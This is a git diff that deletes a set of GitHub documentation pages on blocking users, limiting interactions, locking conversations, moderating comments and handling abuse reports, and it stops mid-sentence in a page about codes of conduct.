--- a/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Viewing users who are blocked from your organization -intro: 'You can view a list of all users whom you or other owners have blocked from your organization. If a user was blocked for a specific amount of time, you can see the amount of time they were blocked for.' -redirect_from: - - /articles/viewing-users-who-are-blocked-from-your-organization - - /github/building-a-strong-community/viewing-users-who-are-blocked-from-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: View blocked users in org ---- - - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.block_users %} -1. Under "Blocked users", review the list of users who are blocked from your organization. - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account) diff --git a/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md b/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md deleted file mode 100644 index 48aef0dba39d..000000000000 --- a/content/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Viewing users you've blocked from your personal account -intro: You can view a list of all users you've blocked from your personal account. -redirect_from: - - /articles/viewing-users-you-ve-blocked-from-your-personal-account - - /articles/viewing-users-youve-blocked-from-your-personal-account - - /github/building-a-strong-community/viewing-users-youve-blocked-from-your-personal-account -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: View blocked users in account ---- - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.blocked_users %} -1. Under "Blocked users", review the list of users you've blocked from your account. - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization) diff --git a/content/communities/moderating-comments-and-conversations/index.md b/content/communities/moderating-comments-and-conversations/index.md deleted file mode 100644 index b3e0c78da96e..000000000000 --- a/content/communities/moderating-comments-and-conversations/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Moderating comments and conversations -shortTitle: Moderation -intro: 'Moderating conversations creates a welcoming community for all contributors to your project by promoting healthy collaboration and de-escalating conflict. You can apply your community''s code of conduct to discussions by viewing reported content, editing and deleting comments, and locking conversations.' -redirect_from: - - /articles/moderating-comments-and-conversations - - /github/building-a-strong-community/moderating-comments-and-conversations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -children: - - /managing-disruptive-comments - - /locking-conversations - - /limiting-interactions-in-your-repository - - /limiting-interactions-for-your-personal-account - - /limiting-interactions-in-your-organization - - /tracking-changes-in-a-comment - - /managing-how-contributors-report-abuse-in-your-organizations-repository - - /managing-reported-content-in-your-organizations-repository ---- - diff --git a/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md b/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md deleted file mode 100644 index dd01dc33ee38..000000000000 --- a/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Limiting interactions for your personal account -intro: You can temporarily enforce a period of limited activity for certain users in all public repositories owned by your personal account. -versions: - fpt: '*' - ghec: '*' -permissions: Anyone can limit interactions for their own personal account. -redirect_from: - - /github/building-a-strong-community/limiting-interactions-for-your-user-account - - /communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account -topics: - - Community -shortTitle: Limit interactions in account ---- - -## About temporary interaction limits - -Limiting interactions for your personal account enables temporary interaction limits for all public repositories owned by your personal account. {% data reusables.community.interaction-limits-restrictions %} - -{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your public repositories. - -{% data reusables.community.types-of-interaction-limits %} - -When you enable user-wide activity limitations, you can't enable or disable interaction limits on individual repositories. For more information on limiting activity for an individual repository, see [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository). - -You can also block users. For more information, see [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account). - -## Limiting interactions for your personal account - -{% data reusables.user-settings.access_settings %} -1. In the "Access" section of the sidebar, select **{% octicon "report" aria-hidden="true" %} Moderation** then click **Interaction limits**. -{% data reusables.community.set-interaction-limit %} diff --git a/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md b/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md deleted file mode 100644 index 86590935908e..000000000000 --- a/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Limiting interactions in your organization -intro: You can temporarily enforce a period of limited activity for certain users in all public repositories owned by your organization. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/limiting-interactions-in-your-organization - - /articles/limiting-interactions-in-your-organization - - /github/building-a-strong-community/limiting-interactions-in-your-organization -versions: - fpt: '*' - ghec: '*' -permissions: Organization owners and moderators can limit interactions in an organization. -topics: - - Community -shortTitle: Limit interactions in org ---- - -## About temporary interaction limits - -Limiting interactions in your organization enables temporary interaction limits for all public repositories owned by the organization. {% data reusables.community.interaction-limits-restrictions %} - -{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your organization's public repositories. - -{% data reusables.community.types-of-interaction-limits %} - -Members of the organization are not affected by any of the limit types. - -When you enable organization-wide activity limitations, you can't enable or disable interaction limits on individual repositories. For more information on limiting activity for an individual repository, see [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository). - -Organization owners and moderators can also block users for a specific amount of time. After the block expires, the user is automatically unblocked. For more information, see [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). - -## Limiting interactions in your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. _For organization owners:_ In the "Access" section of the sidebar, select **{% octicon "report" aria-hidden="true" %} Moderation**, then click **Interaction limits**. - - _For organization moderators:_ In the sidebar, click **Interaction limits**. - -{% data reusables.community.set-interaction-limit %} - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization) diff --git a/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md deleted file mode 100644 index de2f641f44ee..000000000000 --- a/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Limiting interactions in your repository -intro: You can temporarily enforce a period of limited activity for certain users on a public repository. -redirect_from: - - /articles/limiting-interactions-with-your-repository - - /articles/limiting-interactions-in-your-repository - - /github/building-a-strong-community/limiting-interactions-in-your-repository -versions: - fpt: '*' - ghec: '*' -permissions: 'People with admin permissions to a repository, and organization moderators, can temporarily limit interactions in that repository.' -topics: - - Community -shortTitle: Limit interactions in repo ---- - -## About temporary interaction limits - -{% data reusables.community.interaction-limits-restrictions %} - -{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your repository. - -{% data reusables.community.types-of-interaction-limits %} - -You can also enable activity limitations on all repositories owned by your personal account or an organization. If a user-wide or organization-wide limit is enabled, you can't limit activity for individual repositories owned by the account. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-personal-account) and [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization). - -## Limiting interactions in your repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the sidebar, select **{% octicon "comment-discussion" aria-hidden="true" %} Moderation options**, then click **Interaction limits**. -{% data reusables.community.set-interaction-limit %} - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization) diff --git a/content/communities/moderating-comments-and-conversations/locking-conversations.md b/content/communities/moderating-comments-and-conversations/locking-conversations.md deleted file mode 100644 index 0ee33ca1d41e..000000000000 --- a/content/communities/moderating-comments-and-conversations/locking-conversations.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Locking conversations -intro: 'Repository owners and collaborators, and people with write access to a repository, can lock conversations on issues, pull requests, and commits permanently or temporarily to defuse a heated interaction.' -redirect_from: - - /articles/locking-conversations - - /github/building-a-strong-community/locking-conversations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community ---- - -It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct{% ifversion fpt or ghec %} or {% data variables.product.github %}'s [Community Guidelines](/free-pro-team@latest/site-policy/github-terms/github-community-guidelines){% endif %}. When you lock a conversation, you can also specify a reason, which is publicly visible. - -Locking a conversation creates a timeline event that is visible to anyone with read access to the repository. However, the username of the person who locked the conversation is only visible to the following group of people: - -* People with write access to the repository. -* Collaborators added to the repository. -* Organization members with read access where the repository is owned by an organization. - -For anyone not meeting this criteria the locking actor will be anonymized. -![Screenshot of a timeline event, which says "octo-org locked as too heated and limited conversation to collaborators 2 minutes ago."](/assets/images/help/issues/anonymized-timeline-entry-for-locked-conversation.png) - -While a conversation is locked, only [people with write access](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) and [repository owners and collaborators](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository#collaborator-access-for-a-repository-owned-by-a-personal-account) can add, hide, and delete comments. Reactions and votes in a locked conversation are disabled for all users. - -To search for locked conversations in a repository that is not archived, you can use the search qualifiers `is:locked` and `archived:false`. Conversations are automatically locked in archived repositories. For more information, see [AUTOTITLE](/search-github/searching-on-github/searching-issues-and-pull-requests#search-based-on-whether-a-conversation-is-locked). - -1. Optionally, write a comment explaining why you're locking the conversation. -1. In the right sidebar of the issue or pull request, or above the comment box on the commit page, click **Lock conversation**. -1. Optionally, select the **Choose a reason** dropdown menu, then click a reason for locking the conversation. -1. Read the information about locking conversations and click **Lock conversation on this issue**, **Lock conversation on this pull request**, or **Lock conversation on this commit**. -1. When you're ready to unlock the conversation, in the right sidebar of the issue or pull request, or above the comment box on the commit page, click **Unlock conversation**. - -## Further reading - -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions) -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests) -* [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments){% ifversion fpt or ghec %} -* [AUTOTITLE](/communities/maintaining-your-safety-on-github) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) -{% endif %} diff --git a/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md b/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md deleted file mode 100644 index 3bf4201815ec..000000000000 --- a/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Managing disruptive comments -intro: 'You can {% ifversion fpt or ghec %}hide, edit,{% else %}edit{% endif %} or delete comments on issues, pull requests, and commits.' -redirect_from: - - /articles/editing-a-comment - - /articles/deleting-a-comment - - /articles/managing-disruptive-comments - - /github/building-a-strong-community/managing-disruptive-comments -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Manage comments ---- - -## Hiding a comment - -{% ifversion fpt or ghec %}Organization moderators, and anyone{% else %}Anyone{% endif %} with write access to a repository, can hide comments on issues, pull requests, and commits. - -If a comment is off-topic, outdated, or resolved, you may want to hide a comment to keep a discussion focused or make a pull request easier to navigate and review. Hidden comments are minimized but people with read access to the repository can expand them. - -![Screenshot of a hidden comment. The only visible content is "This comment has been minimized", with a button to show the comment.](/assets/images/help/repository/hidden-comment.png) - -1. Navigate to the comment you'd like to hide. -1. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Hide**. - - ![Screenshot of a pull request comment by octo-user. Below an icon of three dots, a dropdown menu is expanded, and "Hide" is outlined in orange.](/assets/images/help/repository/comment-menu-hide.png) - -1. Using the "Choose a reason" dropdown menu, choose a reason to hide the comment. Then select **Hide comment**. - {% ifversion fpt or ghec %} - ![Screenshot of a comment showing a menu to select a reason to hide the comment: Spam, Abuse, Off Topic, Outdated, Duplicate, or Resolved.](/assets/images/help/repository/choose-reason-for-hiding-comment.png) - {% else %} - ![Screenshot of a comment showing a menu to select a reason to hide the comment: Off Topic, Outdated, Duplicate, or Resolved.](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png) - {% endif %} - -## Unhiding a comment - -{% ifversion fpt or ghec %}Organization moderators, and anyone{% else %}Anyone{% endif %} with write access to a repository, can unhide comments on issues, pull requests, and commits. - -1. Navigate to the comment you'd like to unhide. -1. On the right side of the comment, click **{% octicon "fold" aria-hidden="true" %} Show comment**. -1. On the right side of the expanded comment, select the {% octicon "kebab-horizontal" aria-label="Show options" %} dropdown menu, then click **Unhide**. - - ![Screenshot of a pull request comment marked as spam. Below an icon of three dots, a dropdown menu is expanded, and "Unhide" is outlined in orange.](/assets/images/help/repository/comment-menu-hidden.png) - -## Editing a comment - -Anyone with write access to a repository can edit comments on issues, pull requests, and commits. - -It's appropriate to edit a comment and remove content that doesn't contribute to the conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/site-policy/github-terms/github-community-guidelines){% endif %}. - -Sometimes it may make sense to clearly indicate edits and their justification. - -That said, anyone with read access to a repository can view a comment's edit history. The **edited** dropdown at the top of the comment contains a history of edits showing the user and timestamp for each edit. - -![Screenshot of a comment by octo-user, which is partially redacted. In the header, next to "edited by octocat", a dropdown icon is outlined in orange.](/assets/images/help/repository/content-redacted-comment.png) - -## Redacting sensitive information - -Comment authors and anyone with write access to a repository can also delete sensitive information from a comment's edit history. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment). - -1. Navigate to the comment you'd like to edit. -1. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Edit**. - - ![Screenshot of a pull request comment by octo-user. Below an icon of three dots, a dropdown menu is expanded, and "Edit" is outlined in orange.](/assets/images/help/repository/comment-menu-edit.png) - -1. In the comment window, delete the content you'd like to remove, then type `[REDACTED]` to replace it. -1. At the bottom of the comment, type a note indicating that you have edited the comment, and optionally, why you edited the comment. -1. Click **Update comment**. - -## Deleting a comment - -Anyone with write access to a repository can delete comments on issues, pull requests, and commits. Organization owners, team maintainers, and the comment author can also delete a comment on a team page. - -If a comment contains some constructive content that adds to the conversation in the issue or pull request, you can edit the comment instead. - -Deleting a comment is your last resort as a moderator. It's appropriate to delete a comment if the entire comment adds no constructive content to a conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/site-policy/github-terms/github-community-guidelines){% endif %}. - -Deleting a comment creates a timeline event that is visible to anyone with read access to the repository. However, the username of the person who deleted the comment is only visible to people with write access to the repository. For anyone without write access, the timeline event is anonymized. - -![Screenshot of a timeline event, which says "octo-org deleted a comment from hubot 6 minutes ago."](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png) - -> [!NOTE] -> The initial comment (or body) of an issue or pull request can't be deleted. Instead, you can edit issue and pull request bodies to remove unwanted content. - -### Steps to delete a comment - -1. Navigate to the comment you'd like to delete. -1. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**. - ![Screenshot of a pull request comment by octo-user. Below an icon of three dots, a dropdown menu is expanded, and "Delete" is outlined in orange.](/assets/images/help/repository/comment-menu-delete.png) -1. Optionally, write a comment noting that you deleted a comment and why. - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization) -{% endif %} diff --git a/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md b/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md deleted file mode 100644 index 32bffb674833..000000000000 --- a/content/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Managing how contributors report abuse in your organization's repository -intro: You can allow contributors to report disruptive behavior directly to repository maintainers. -permissions: Anyone with admin permissions to a repository can manage how contributors report abuse in the repository. -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /github/building-a-strong-community/managing-how-contributors-report-abuse-in-your-organizations-repository -topics: - - Community -shortTitle: Manage abuse in your org ---- - -You can enable or disable reported content for public repositories owned by an organization. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.sidebar-moderation-reported-content %} -1. Under "Reported content", select a reporting permissions setting, then click **Save**. - - * **Prior contributors and collaborators** will be selected by default for repositories created after March 3, 2023. - -## Further reading - -* [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository) -* [AUTOTITLE](/communities/moderating-comments-and-conversations) -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation) diff --git a/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md b/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md deleted file mode 100644 index 977e508d827c..000000000000 --- a/content/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Managing reported content in your organization's repository -intro: 'After a contributor reports disruptive content in a repository, repository maintainers can view and manage the report.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /github/building-a-strong-community/managing-reported-content-in-your-organizations-repository -topics: - - Community -shortTitle: Manage reported content -permissions: Anyone with admin permissions to a repository can view and manage reported content for the repository. ---- - -## About management of reported content - -Before you can view or manage reported content, you must enable reported content for the repository. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-how-contributors-report-abuse-in-your-organizations-repository). - -You can track, triage, and respond to reports of disruptive content. In the "Abuse reports" list, you can view all reports and navigate directly to each reported comment on {% data variables.product.prodname_dotcom %}. - -{% data reusables.community.tools-for-moderating %} - -After you finish moderating disruptive content, you can mark the report as resolved. If you decide that you're not done moderating, you can also mark the report as unresolved. - -## Viewing content that a contributor reported - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.sidebar-moderation-reported-content %} -1. To the right of the reported content you'd like to view, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **View content**. - - ![Screenshot of a reported comment. In the upper-right corner, a kebab icon is outlined in dark orange.](/assets/images/help/repository/reported-content-kebab.png) - -## Resolving a report - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.sidebar-moderation-reported-content %} -1. To the right of the report you'd like to resolve, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Mark as resolved**. - - ![Screenshot of a reported comment. In the upper-right corner, a kebab icon is outlined in dark orange.](/assets/images/help/repository/reported-content-kebab.png) - -## Unresolving a report - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.sidebar-moderation-reported-content %} -{% data reusables.repositories.reported-content-resolved-tab %} -1. To the right of the report you'd like to unresolve, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Mark as unresolved**. - - ![Screenshot of a reported comment. In the upper-right corner, a kebab icon is outlined in dark orange.](/assets/images/help/repository/reported-content-kebab.png) - -## Further reading - -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation) diff --git a/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md b/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md deleted file mode 100644 index 97c67878d23d..000000000000 --- a/content/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Tracking changes in a comment -intro: You can view the edit history of a comment or delete sensitive information from the edit history of a comment. -redirect_from: - - /articles/tracking-changes-in-a-comment - - /github/building-a-strong-community/tracking-changes-in-a-comment -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Track comment changes ---- - -## Viewing a comment's edit history details - -Anyone with read access to a repository can view a comment's edit history. - -1. Navigate to the comment you'd like to view the edit history for. -{% data reusables.repositories.edited-comment-list %} - -## Deleting sensitive information from a comment's history - -Comment authors and anyone with write access to a repository can delete sensitive information from a comment's edit history. - -When you delete sensitive information from the comment's edit history, the person who made the edit and when they made the edit is still visible in the comment history but the content of the edit is no longer available. - -1. Navigate to the comment where you would like to delete sensitive information from the edit history. -{% data reusables.repositories.edited-comment-list %} -1. In the top right of the edit history window, click **Options**. Then click **Delete revision from history** to delete the diff that shows the content being added. - - ![Screenshot of the edit history of a comment. The "Options" dropdown menu is expanded. The "Delete revision from history" option is outlined in orange.](/assets/images/help/repository/delete-comment-edit-details.png) -1. To confirm deletion, click **OK**. - -## Further reading - -{% ifversion fpt or ghec %}- [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam){% endif %} -* [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments) diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md b/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md deleted file mode 100644 index e466882f6bce..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: About community management and moderation -intro: '{% data variables.product.prodname_dotcom %} offers tools that help repository maintainers establish and enforce standards of behavior in their communities on {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /github/building-a-strong-community/about-community-management-and-moderation -topics: - - Community -shortTitle: Management & moderation ---- - -## About community management and moderation - -{% data reusables.policies.github-community-guidelines-and-terms %} - -{% data variables.product.prodname_dotcom %} also offers tools for repository maintainers to define and enforce higher standards of behavior in their own communities on {% data variables.product.prodname_dotcom %}. - -Organization owners can specify organization members as moderators. This gives these members access to moderation features otherwise reserved for organization owners. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization). - -After you establish standards of behavior for your community, you can encourage a pleasant and productive environment by responding to disruptive behavior in a fast, fair way. Effective moderation builds trust within your community and helps contributors feel safe and welcome. - -## Tools for moderating your community - -{% data variables.product.prodname_dotcom %}'s tools streamline management and moderation tasks in your community without requiring extensive moderation experience. - -As a repository maintainer, you can author guidelines for contributing to your project and share them in the project's repository. {% data variables.product.prodname_dotcom %} offers a community profile checklist to help you author and publish community health files. Potential contributors to your project can review the community profile checklist to learn about your community's standards and decide whether they want to contribute. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions). - -{% data reusables.community.tools-for-moderating %} - -Contributors can always report disruptive content to {% data variables.contact.github_support %}. If you opt into reported content for a public repository in your organization, contributors can also report comments containing disruptive behavior directly to repository maintainers. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-reported-content-in-your-organizations-repository). - -## Further reading - -* [Your Code of Conduct](https://opensource.guide/code-of-conduct/) from the Open Source Guides -* [Building Welcoming Communities](https://opensource.guide/building-community/) from the Open Source Guides -* [Leadership and Governance](https://opensource.guide/leadership-and-governance/) from the Open Source Guides diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md b/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md deleted file mode 100644 index af0dece0dce3..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: About community profiles for public repositories -intro: Repository maintainers can review their public repository's community profile to learn how they can help grow their community and support contributors. Contributors can view a public repository's community profile to see if they want to contribute to the project. -redirect_from: - - /articles/viewing-your-community-profile - - /articles/about-community-profiles-for-public-repositories - - /github/building-a-strong-community/about-community-profiles-for-public-repositories -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Community profiles ---- - -The community profile checklist checks to see if a project includes recommended community health files, such as README, CODE_OF_CONDUCT, LICENSE, or CONTRIBUTING, in a supported location. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile). - -## Using the community profile checklist as a repository maintainer - -As a repository maintainer, you can use the community standards checklist to see if your project meets the recommended community standards to help people use and contribute to your project. For more information, see [Building community](https://opensource.guide/building-community/) in the Open Source Guides. - -If a project doesn't have one of the recommended files, you can click the associated **Add** button to draft and submit a file. - -![Screenshot of the "Community Standards" maintainer checklist. Each item has an "Added" label (green check) or a "Not added yet" label (orange circle).](/assets/images/help/repository/add-button-community-profile.png) - -{% data reusables.repositories.security-guidelines %} - -{% data reusables.repositories.valid-community-issues %} For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates). - -## Using the community profile checklist as a community member or collaborator - -As a potential contributor, use the community profile checklist to see if a project meets the recommended community standards and decide if you'd like to contribute. For more information, see [How to contribute](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project) in the Open Source Guides. - -If a project doesn't have a recommended file, you can click **Propose** to draft and submit a file to the repository maintainer for approval. - -![Screenshot of the "Community Standards" contributor checklist. Each item has an "Added" icon (green check) or a "Not added yet" icon (orange circle).](/assets/images/help/repository/propose-button-community-profile.png) - -## Further reading - -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project) -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors) -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository) -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates) -* [Open Source Guides](https://opensource.guide/) -* [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md b/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md deleted file mode 100644 index a2c0eb6700ea..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/accessing-a-projects-community-profile.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Accessing a project's community profile -intro: View a public repository's community profile to check on a project's health and decide if you want to contribute. -redirect_from: - - /articles/accessing-a-project-s-community-profile - - /articles/accessing-a-projects-community-profile - - /github/building-a-strong-community/accessing-a-projects-community-profile -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Access community profiles ---- - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Community Standards** to show the checklist for the community profile of the repository. - -## Further reading - -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories) diff --git a/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md b/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md deleted file mode 100644 index 087388c9e3e5..000000000000 --- a/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Adding a code of conduct to your project -intro: 'Adopt a code of conduct to define community standards, signal a welcoming and inclusive project, and outline procedures for handling abuse.' -redirect_from: - - /articles/adding-a-code-of-conduct-to-your-project - - /github/building-a-strong-community/adding-a-code-of-conduct-to-your-project -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Add a code of conduct ---- - -A _code of conduct_ defines standards for how to engage in a community. It signals an inclusive environment that respects all contributions. It also outlines procedures for addressing problems between members of your project's community. For more information on why a code of conduct defines standards and expectations for how to engage in a community, see the [Open Source Guide](https://opensource.guide/code-of-conduct/). - -Before adopting a code of conduct for your project: - -* Research different codes of conduct designed for open source projects. Choose one that reflects your community's standards. -* Consider carefully whether you are willing and able to enforce it. - -You can add a code of conduct to your project by using a template or manually creating a custom code of conduct. Your code of conduct will be available either way, but "Code of conduct" will only be marked as complete in your repository's community profile if you use a template. If you use a code of conduct written by another person or organization, be sure to follow any attribution guidelines from the source. For more information about community 